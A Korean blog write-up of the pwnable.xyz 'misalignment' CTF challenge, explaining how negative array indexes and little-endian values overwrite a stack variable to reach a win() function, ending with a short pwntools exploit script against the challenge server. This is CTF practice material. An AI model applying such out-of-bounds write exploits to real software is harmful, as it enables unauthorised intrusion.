상세 컨텐츠

본문 제목

[pwnable.xyz] misalignment

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 17. 21:59

본문

728x90
반응형

 

v5 + 7 의 값이 0xB000000B5 이어야 win() 함수를 호출한다.

 

 

win() 함수에서는 system 함수를 통해 cat /flag 명령을 실행한다. flag 파일이 열리면서 flag를 출력할 것이다.

 

 

따라서 while문이 돌아가는 동안, v6, v7, v8의 값을 적절히 넣어줘서 최종적으로 v5 + 7 을 0xB000000B5으로 만들어야 한다.

 

 

v5[v8 + 6] = v6 + v7;

 

이므로, v6 + v7을 통해 값을 넣어주고, v8을 통해 위치를 지정해야 한다.

 

주의해야 할 점은, 16진수 데이터는 들어가게 되면 리틀엔디언 방식으로 저장되므로, 그것을 고려해서 16진수 값을 10진수로 변환해서 값을 줘야한다.

 

v5 + 7 값을 0x b000 0000 0000 00b5 = b000 0000 0000 00b5 로 바꿔야 하는데,

 

V5[v8 + 6] = v6 + v7에서 v5[0] 값을

 

0x b500 0000 0000 0000 => 0000 0000 0000 00b5

 

로 값을 넣어준다.

 

그리고 다음 while문에서 다시 입력받을 때 v5[1]

0x 0000 0000 0b00 0000 => 0000 000b 0000으로 넣는다.

 

 

따라서 10진수로 v6 + v7을 넣어주는데 하나만 신경써서 넣고 v7 0으로 넣어주겠다.

그리고 v8은 처음엔 -6, 그 다음엔 -5로 넣는다.

 

 

 

처음 넣는 음수는 0x 0000 0000 0000 00b5 의 음수값이다. 

(바이너리를 다운받아서 해서 flag가 없어서 오류가 생겼지만 있었으면 flag가 출력됐을 것이다.)

 

 

+ 문제를 풀 당시에 nc로 잘 안 됐어서 바이너리로 했었는데 다시 해보니까 됐다.

 

 

#!/usr/bin/python                                                                      
from pwn import *

p = remote("svc.pwnable.xyz", 30003)

p.sendline("-5404319552844595200 0 -6")
p.sendlineafter("Result: ", "184549376 0 -5")
p.sendlineafter("Result: ", "1 2 516")

p.interactive()

 

성공!

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Grownup  (0) 2019.09.27
[pwnable.xyz] note  (0) 2019.09.27
[pwnable.xyz] add  (0) 2019.09.05
[pwnable.xyz] sub  (0) 2019.09.05
[pwnable.xyz] welcome  (0) 2019.09.04

관련글 더보기